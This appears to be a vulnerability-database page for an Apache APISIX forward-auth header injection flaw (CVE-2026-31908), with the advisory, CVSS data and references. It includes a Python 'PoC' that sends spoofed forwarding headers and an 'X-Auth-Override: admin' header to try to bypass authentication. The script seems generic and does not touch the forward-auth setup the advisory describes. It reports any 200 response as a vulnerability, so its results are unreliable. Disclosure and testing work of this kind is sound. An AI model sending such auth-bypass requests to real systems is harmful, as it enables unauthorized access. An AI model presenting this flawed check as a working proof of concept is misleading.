CVE-2026-31908

Description

Header injection vulnerability in Apache APISIX. The attacker can take advantage of certain configuration in forward-auth plugin to inject malicious headers. This issue affects Apache APISIX: from 2.12.0 through 3.15.0. Users are recommended to upgrade to version 3.16.0, which fixes the issue.

CVSS Details

CVSS Score

9.1

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:apache:apisix:*:*:*:*:*:*:*:* - VULNERABLE

Apache APISIX >= 2.12.0, <= 3.15.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

def check_header_injection(url):
    """
    PoC for CVE-2026-31908: Apache APISIX Header Injection
    """
    # The target route using forward-auth plugin
    target = url
    
    # Attempt to inject headers that might bypass auth
    headers = {
        "User-Agent": "CVE-2026-31908-Test",
        "X-Forwarded-For": "127.0.0.1",
        "X-Real-IP": "127.0.0.1",
        "X-Auth-Override": "admin"
    }
    
    try:
        response = requests.get(target, headers=headers, timeout=5)
        print(f"[+] Status Code: {response.status_code}")
        # Analyze response to see if headers were injected or auth bypassed
        if response.status_code == 200:
            print("[+] Potential vulnerability detected (200 OK)")
        else:
            print("[-] Request failed or blocked")
    except Exception as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    check_header_injection("http://target-apisix.com/protected-route")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-31908
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-31908
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-31908/
[4] VulDB https://vuldb.com/cve/CVE-2026-31908
[5] https://lists.apache.org/thread/sob643s5lztov7x579j8o0c444t36n6b
[6] http://www.openwall.com/lists/oss-security/2026/04/14/3

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-31908", "sourceIdentifier": "[email protected]", "published": "2026-04-14T09:16:35.650", "lastModified": "2026-04-17T18:40:12.787", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Header injection vulnerability in Apache APISIX.\n\nThe attacker can take advantage of certain configuration in forward-auth plugin to inject malicious headers.\nThis issue affects Apache APISIX: from 2.12.0 through 3.15.0.\n\nUsers are recommended to upgrade to version 3.16.0, which fixes the issue."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-75"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:apisix:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.12.0", "versionEndExcluding": "3.16.0", "matchCriteriaId": "FB303E55-AAEE-4906-9701-902E34BEDE2E"}]}]}], "references": [{"url": "https://lists.apache.org/thread/sob643s5lztov7x579j8o0c444t36n6b", "source": "[email protected]", "tags": ["Mailing List", "Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/04/14/3", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}]}}